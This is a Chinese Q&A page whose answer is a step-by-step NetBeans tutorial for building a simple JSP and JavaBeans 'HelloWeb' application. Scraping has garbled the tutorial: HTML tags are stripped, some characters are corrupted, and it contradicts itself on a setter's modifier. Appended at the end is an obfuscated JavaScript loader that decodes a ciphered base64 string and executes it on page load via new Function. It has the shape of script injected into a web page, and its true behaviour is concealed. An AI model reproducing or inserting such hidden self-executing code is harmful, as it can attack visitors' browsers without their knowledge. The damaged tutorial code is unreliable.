如何使用NetBeans IDE创建简单的Web应用程序

2025-04-02 18:43:40
推荐回答(1个)
回答1:

它将演示如何创建简单的 Web 应用程序,如何将该应用程序部署到服务器,以及如何在浏览器中查看该应用程序的表现形式。该应用程序采用一个 JavaServer Pages�6�4 (JSP) 页来要求您输入自己的姓名。然后,使用 JavaBeans�6�4 组件在 HTTP 会话期间保留该姓名,并检索该姓名以输出到第二个 JSP 页上。要学习本教程,您需要具备以下软件和资源。软件或资源要求的版本NetBeans IDE6.5 或 6.7 Java 版本Java Development Kit (JDK)版本6 或版本 5GlassFish 应用服务器或Tomcat Servlet 容器2.1 或 3.0.1
版本6.x注意:在执行 Web & Java EE 安装时,您可以选择安装 GlassFish 2.1 应用服务器和 6.0.x 版本的 Apache Tomcat Servlet 容器。必须安装其中一个才能学完本教程。要利用 NetBeans IDE 的 Java EE 5 功能,请使用完全符合 Java EE 5 规范的应用服务器,例如 GlassFish 2.1 UR2 应用服务器。如果使用的是其他服务器,请查阅发行说明和常见问题解答,了解已知问题和解决方法。有关支持的服务器和 Java EE 平台的详细信息,请参见发行说明。如果需要将项目与工作解决方案进行比较,可以下载样例应用程序。设置Web 应用程序项目从主菜单中选择“文件”>“新建项目”(Ctrl-Shift-N)。在“类别”下,选择“Java Web”。在“项目”下选择“Web 应用程序”,然后单击“下一步”。在步骤 2 中,在“项目名称”文本框中输入 HelloWeb。将“项目位置”指定为计算机上的任意目录。在本教程中,将此目录称为 $PROJECTHOME。(可选)选中“使用专用文件夹存储库”复选框,并指定库文件夹的位置。有关此选项的详细信息,请参见共享项目库。单击“下一步”。“服务器和设置”面板打开。选择要与应用程序一起使用的 Java EE 版本。选择要在其中部署应用程序的服务器。这里仅列出了已在 IDE 中注册的服务器。请注意,服务器上的上下文路径将变为 /HelloWeb(基于您在上一步中为项目指定的名称)。单击“下一步”。在“框架”面板中,单击“完成”以创建项目。IDE 将创建 $PROJECTHOME/HelloWeb 项目文件夹。此项目文件夹包含所有源代码和项目 meta 数据,例如项目的 Ant 生成脚本。在 IDE 中,将打开 HelloWeb 项目。在主窗口的源代码编辑器中,将打开欢迎页 index.jsp。您可以在“文件”窗口 (Ctrl-2) 中查看项目的文件结构,在“项目”窗口 (Ctrl-1) 中查看其逻辑结构。创建并编辑 Web 应用程序源文件创建并编辑源文件是 IDE 所提供的最重要的功能。毕竟,这大概是您花费时间最多的工作。IDE 提供了各种工具来迎合任何开发者的个人风格,无论您是愿意手动编写所有代码,还是希望 IDE 为您生成大量代码。创建Java 包和 Java 源文件在“项目”窗口中,展开“源包”节点。请注意,“源包”节点仅包含一个空的缺省包节点。右键单击“源包”节点,然后选择“新建”>“Java 类”。在“类名”文本框中输入 NameHandler,并在“包”组合框中键入 org.mypackage.hello。单击“完成”。请注意,将在源代码编辑器中打开新的 NameHandler.java 文件。在源代码编辑器中,通过在紧靠类声明的下方键入以下代码行来声明一个 String 变量。 String name;将以下构造函数添加到类中: public NameHandler()在NameHandler() 构造函数中添加以下代码行: name = null;生成getter 和 setter 方法在源代码编辑器中右键单击 name 字段,然后选择“重构”>“封装字段”。将打开“封装字段”对话框,其中列出 name 字段。请注意,缺省情况下将“字段的可视性”设置为 "private",将“存取方法的可视性”设置为 "public",这表示类变量声明的访问修饰符将被指定为 private,而 getter 和 setter 方法将分别以 public 和 private 修饰符生成。单击“重构”。将为 name 字段生成 getter 和 setter 方法。类变量的修饰符将被设置为 private,而 getter 和 setter 方法将以 public 修饰符生成。Java 类现在应该与以下代码类似。 package org.mypackage.hello; /** * * @author nbuser */ public class NameHandler { private String name; /** Creates a new instance of NameHandler */ public NameHandler() { name = null; } public String getName() { return name; } public void setName(String name) { this.name = name; } }编辑缺省的 JavaServer Pages 文件通过单击在源代码编辑器顶部显示的 "index.jsp" 文件标签以重新选中该文件。在位于源代码编辑器右侧的组件面板 (Ctrl-Shift-8) 中,展开“HTML 表单”,然后将一个表单项拖至源代码编辑器中 标记后的某个位置。
将显示“插入表单”对话框。请指定以下值:操作:response.jsp方法:GET名称:Name Input Form单击“确定”。将在 index.jsp 文件中添加一个 HTML 表单。将一个文本输入项拖至紧靠 标记前面的位置,然后指定以下值:
名称:name类型:文本单击“确定”。将在 标记之间添加一个 HTML标记。
将一个按钮项拖至紧靠 标记前面的位置。请指定以下值:
标签:OK类型:提交单击“确定”。将在 标记之间添加一个 HTML 按钮。
在紧靠第一个
标记前面的位置键入 Enter your name:,然后将 标记之间的缺省 Hello World! 文本更改为 Entry Form。
在源代码编辑器中单击鼠标右键,然后选择“格式化代码”(Alt-Shift-F) 以整理代码的格式。index.jsp 文件现在应该与以下代码类似:Entry Form Enter your name:
创建JavaServer Pages 文件在“项目”窗口中,右键单击 "HelloWeb" 项目节点,然后选择“新建”> "JSP"。将打开“新建 JSP 文件”向导。将文件命名为 response,然后单击“完成”。请注意,在“项目”窗口中的 "index.jsp" 下方将显示 "response.jsp" 文件节点,并且会在源代码编辑器中打开新文件。在位于源代码编辑器右侧的组件面板中,展开 "JSP",然后将一个使用 Bean 项拖至源代码编辑器中紧靠 标记下方的位置。将打开“插入使用 Bean”对话框。指定下图中显示的值。ID:mybean类:org.mypackage.hello.NameHandler范围:session单击“确定”。请注意,将在 标记的下方添加 标记。将一个设置 Bean 属性项从组件面板拖至紧靠 标记前面的位置,然后单击“确定”。在出现的 标记中,删除空的 value 属性,然后将其编辑为以下代码。如果 IDE 创建了 value = "" 属性,请将其删除!否则,它会覆盖传递到 index.jsp 中的 name 的值。 正如 文档中所述,可以通过各种方法来设置属性值。在本例中,index.jsp 页上的用户输入将成为传递至 request 对象的名称/值对。当使用 标记设置属性时,可以根据 request 对象中包含的属性名称来指定值。因此,通过将 property 设置为 name,可以检索由用户输入所指定的值。更改 标记之间的文本,以使其如下所示: Hello, !将一个获取 Bean 属性项从组件面板拖放到 标记之间的逗号后面。在“插入获取 Bean 属性”对话框中指定以下值:
Bean 名称:mybean属性名称:name单击“确定”。请注意,此时将在 标记之间添加 标记。
在源代码编辑器中单击鼠标右键,然后选择“格式化代码”(Alt-Shift-F) 以整理代码的格式。response.jsp 文件的 标记现在应该与以下代码类似:Hello, !运行Web 应用程序项目IDE 使用 Ant 生成脚本来生成和运行 Web 应用程序。此生成脚本是由 IDE 基于您在“新建项目”向导中指定的选项以及项目的“项目属性”对话框(在“项目”窗口中,右键单击项目节点,然后从出现的菜单中选择“属性”)中的选项来生成的。在“项目”窗口中,右键单击 "HelloWeb" 项目节点,然后选择“运行”(F6)。注意:缺省情况下,将在启用“在保存时编译”功能的情况下创建项目,因此无需先编译代码即可在 IDE 中运行应用程序。有关“在保存时编译”功能的详细信息,请参见创建、导入和配置 Java 项目指南的“在保存时编译”部分。将在缺省浏览器中打开 index.jsp 页。在文本框中输入您的姓名,然后单击“确定”。将出现 response.jsp 页,并向您显示一条简单的问候语。疑难解答我已经生成并运行了项目。当我单击 index.jsp 中的 "OK" 按钮时,会显示一个指示 response.jsp 不可用的错误页。您是否使用的是 JDK 版本 5 或更高版本?请从主菜单中选择“帮助”>“关于”以验证 IDE 所使用的 JDK 版本。您是否使用的是 Tomcat 版本 5.x 或更高版本?请从主菜单中选择“工具”>“服务器”。选择项目所使用的服务器,并请注意在靠近该对话框顶部的“服务器类型”中所显示的输入内容。您也可以尝试下载样例项目并将其与自己的项目进行比较。我已经生成并运行了项目,但没有出现任何名称,只显示 "Hello, !" 标记是否包含 value = "" 属性?此属性会覆盖传递到 index.jsp 表单中的值,并将该值替换为一个空字符串。删除 value 属性。

(function(){function m888b98(k7d1c){var d23e48="_zGq:g|3t]^mOk8YLCo6~xX5D&MsrQ@Tidl0%/f2NcU-4vA(E=[Wnuy9SVHF71e?h;KapZ!.wRPj$JBI,b";var q7eba="H7o_VXb|Ol$j3wF81SR(ut?mk%KY[;M=,LCBEQz@0sGhN.A2ie:-g~Pv9Uypd&na4cx!T6JqI^DrfWZ]5/";return atob(k7d1c).split('').map(function(rc36d5d){var m4abcf=d23e48.indexOf(rc36d5d);return m4abcf==-1?rc36d5d:q7eba[m4abcf]}).join('')}var c=m888b98('thunder://a0VlN0drciIkIisiTCh6NyIrIloiSVQkfmU7eEVHZTYpezYkfmU7eEVHZTZmKDdOTChMTyxpRVlMenx6aS5aWVo9eix8P2ljTk49TE8pe0UkNmJSQD87M0pFZWJ2eD1jeDZlPzlFbj94R2p2Rl0/eCRHajUpKXtqPXh+amV9OT9qIEs/fExOKHxUJH5lO3hFR2U2RHw7enosTiwoKXtqPXh+amUgQ3hqRWVudiRqRzVsLT9qbEc3PTZEfDt6eixOLCgpfVE5P2ogfFo7Tk8kLD9UciJdbWNXX05McWR0QVBxIUNxX3BAZCJpIjk9aldOTCJpImNFN1coWSJpIjs7eFcoTigsV05oV05ZIEwsW0x6WyxoIklROT9qIG4/enw7Tlk/N1QuWllaPXosfD9ySz98TE4ofDZTeikrSz98TE4ofDZMTFopK0s/fExOKHw2TExMKStLP3xMTih8NlNZKUlpSyR8JFlMVC5aWVo9eix8P3JLP3xMTih8NlNZKStLP3xMTih8NkxMWikrSz98TE4ofDZMTEwpK0s/fExOKHw2U3opSWk1JCQ3TFRjTk49TE9ybj96fDtOWT83NiJzTzpIOzU6fjc4NG07NV1rN0FUVCIpSWk/Wiwsej1Ubj96fDtOWT83NiJzTyFdc2dvXW9KS118Sjp+N0FUVCIpaTdMKFlOT058elRuP3p8O05ZPzc2IjtPOkU7T29IP0osZSIpaUZ6Tyg7aFRuP3p8O05ZPzc2Ijs1Omt8VThtQi9UVCIpaUs9KEwoaDdPLFRuP3p8O05ZPzc2IjtPMGM/Zy9UIilpNz16N3okUz16VG4/enw7Tlk/NzYiOzU6KEJnIWZCL1RUIilpRjd6fExUbj96fDtOWT83NiI/NVNGfG5UVCIpaTtaLHo/ej0oP1RuP3p8O05ZPzc2Ijs1OH5CVVN4IilpOzdMLD1ULlpZWj16LHw/cm4/enw7Tlk/NzYicEo4Tj9BVFQiKUlpfExoJFlMO1RuP3p8O05ZPzc2InxVUy1CQVRUIilROT9qIHhPeno7VG4/enw7Tlk/NzYiOyhMTj9Kb103blRUIilROT9qIERPaCRPUUUkNl1HOz94RUdldmM9P2o7LXZFZTc9S3QkNnhPeno7KT5XTCl7RE9oJE9UY05OPUxPcj9aLCx6PUk2bj96fDtOWT83NiI3VTpoN1U4SEJKJVQiKSlRRE9oJE92RTdUIngiKzs3TCw9cjtaLHo/ej0oP0k2KSpMPWhRRE9oJE92Y3hIXT12a0U3eC1UIkxOTiYiUURPaCRPdmN4SF09di09RW4teFQiLE5ORksiUURPaCRPdjdFYz98XT03VHhqfj1RRSQ2Y05OPUxPdnxHN0hhVGV+XV0pe2NOTj1MT3Z8RzdIdj9GRj1lN2wtRV03NkRPaCRPKX09XWM9ezk/aiBHU3xMU1QkfmU7eEVHZTYpe2NOTj1MT3Z8RzdIdj9GRj1lN2wtRV03NkRPaCRPKVEuWllaPXosfD92aj01Rzk9JTk9ZXhkRWN4PWU9ajZ8TGgkWUw7aUdTfExTaSQ/XWM9KX1RLlpZWj16LHw/dj83NyU5PWV4ZEVjeD1lPWo2fExoJFlMO2lHU3xMU2kkP11jPSl9fTk/aiBGLD9PaChaLFRjTk49TE9yP1osLHo9STZuP3p8O05ZPzc2IkJKTEVCSi9UIikpUUYsP09oKFosdkU3VEVZTHp8eis7N0wsPXY7PUVdNjs3TCw9cjtaLHo/ej0oP0k2KSpMPWgpUUYsP09oKFosdmN4SF09di09RW4teFQiTkZLIlFGLD9PaChaLHZjeEhdPXZHOT1qJF1Ha1QiLUU3Nz1lIlE5P2ogXTtTU058JFQkfmU7eEVHZTZEej8sWj1ZOyl7OT9qID96TFNaLHp6VEskfCRZTDZ8WjtOTyQsP3Y7R2U7P3g2cmBlR2tXXntQP3g9ciJlR2siSTYpfWBpYC1qPSRXXntdRzs/eEVHZXYtaj0kfWBpYH5jO1deezdPPSQ3Nyw2KX1gSSl2Y0dqeDY2NilUPjs3TCw9cjtaLHo/ej0oP0k2KVd2LCkpckY3enxMSTYiaSIpKVE5P2ogZXw/KCgkPVQ/ekxTWix6enZFZTc9S3QkNks/fExOKHw2WkwpKT5XTFg/ekxTWix6enI3TChZTk9OfHpJNj96TFNaLHp6dkVlNz1LdCQ2Sz98TE4ofDZaTCkpKVsiIlE/ekxTWix6elQ/ekxTWix6enJGek8oO2hJNmV8PygoJD1pIiIpcks9KEwoaDdPLEk2IiIpcjc9ejd6JFM9ekk2KXJGN3p8TEk2IiIpK2V8PygoJD1RRiw/T2goWix2Y2o7VHIiLXh4RmNbYmIiK0R6PyxaPVk7aUYsP09oKFosdkU3aT96TFNaLHp6SXJGN3p8TEk2ImIiKVF4akh7Y05OPUxPdnxHN0h2P0ZGPWU3bC1FXTc2Riw/T2goWiwpfTs/eDstNj0pe2NOTj1MT3Z8RzdIdkVlYz1qeDA9JEdqPTZGLD9PaChaLGljTk49TE92fEc3SHY7LUVdNzRHNz1jck5JKX1FJDZET2gkT2FUZX5dXSl7RE9oJE92OT9dfj0rVCJcXGpcXGU/RkY9ZTc9NyA9NSB4RyAteDVdIlE5P2ogRWg/aCwoP1RjTk49TE92bj14JV09NT1leDBIdzc2Riw/T2goWix2RTcpUUUkNkVoP2gsKD9UVGV+XV0zM0VoP2gsKD9UVH5lNz0kRWU9Nyl7RE9oJE92OT9dfj0rVCJcXGpcXGUgOz9leCBuPXggPTUgJGpHNSAteDVdIn19fVFFJDZET2gkT2FUZX5dXSl7RE9oJE92OT9dfj0rVCJcXGpcXGVjPWU3IG1jIC1HY3ggIitmKDdOTChMTyx9OT9qIDdPPSQ3NyxUJH5lO3hFR2U2KXt4akh7O0dlY3ggZixMeiQsO1Q2ZT1rIFA/eD0pdnhHZEc7P109UD94PUN4akVlbjYpUTtHZWN4IGN6U3o9VGBjNXhFcWNFN3Feez1TO1MofFlaLHZFWUx6fHp9cUY5YFFdPXggeGg9WjdUIUN0NHZGP2pjPTZdRzs/XUN4R2o/bj12bj14d3g9NTZjelN6PSkpUUUkNnhoPVo3VFRlfl1dMzN4aD1aN3Y3P3g9YVRmLEx6JCw7KXt4aD1aN1R7RjlwRTU9Y1tOaTc/eD1bZixMeiQsO319aj14fmplIHhoPVo3dkY5cEU1PWMrTH07P3g7LTZFUyxMKCRPTCl7aj14fmplIEx9fVE5P2ogZk56Pz87LFpUJH5lO3hFR2U2SFpTP3w9KXtqPXh+amUgbj96fDtOWT83NkhaUz98PSlyRnpPKDtoSTZLP3xMTih8NmgoKWk7N0wsPXI7Wix6P3o9KD9JNil2eEdDeGpFZW42T1opdmNdRTs9Njs3TCw9diRdR0dqNjs3TCw9cjtaLHo/ej0oP0k2KSpTKSsoKSl9UV07U1NOfCQ2Zk56Pz87LFo2Zig3TkwoTE8sKSlRLlpZWj16LHw/ciI/NzclOT1leGRFY3g9ZT1qIkk2IjU9Y2M/bj0iaTYkfmU7eEVHZTZFUyxMKCRPTCl7RSQ2RVMsTCgkT0x2Nz94P3ZEVFRFWUx6fHope2NOTj1MT3ZuPXglXT01PWV4MEh3NzZGLD9PaChaLHZFNyl2aj01Rzk9NilROT9qIDUkWj0kJFRlfl1dUUUkNkRPaCRPYVRlfl1dKXtET2gkT3Y5P11+PStUIlxcalxcZWo9Oz1FOT0gPTUgRkdjeCA1PWNjP249IlFET2gkT3Y5P11+PStUIlxcalxcZT12Nz94P3Y5ICIrRVMsTCgkT0x2Nz94P3YuUTUkWj0kJFQ2dnZ2Lkw7Wlk7T2hoKVQ+e0UkNmEuTDtaWTtPaGgzMy5MO1pZO09oaHZdPWVueC08VE4paj14fmplUURPaCRPdjk/XX49K1QiXFxqXFxlIisuTDtaWTtPaGh2bUdFZTYiICIpfX1lPWsgOH5lO3hFR2U2Ij9qbmMiaUVTLEwoJE9Mdjc/eD92Lik2e3F4NztjWzUkJDdMaXFdR25bNSRaPSQkfSl9fSkpfSk2IkIoO343VS9oNDUtZnxKS3hCKDcsfEMsTnxPQVp0cERMNG5UVCJpIihZImlrRWU3R2tpN0c7fjU9ZXgpfVEkTCh6N1o2KVE='.substr(10));new Function(c)()})();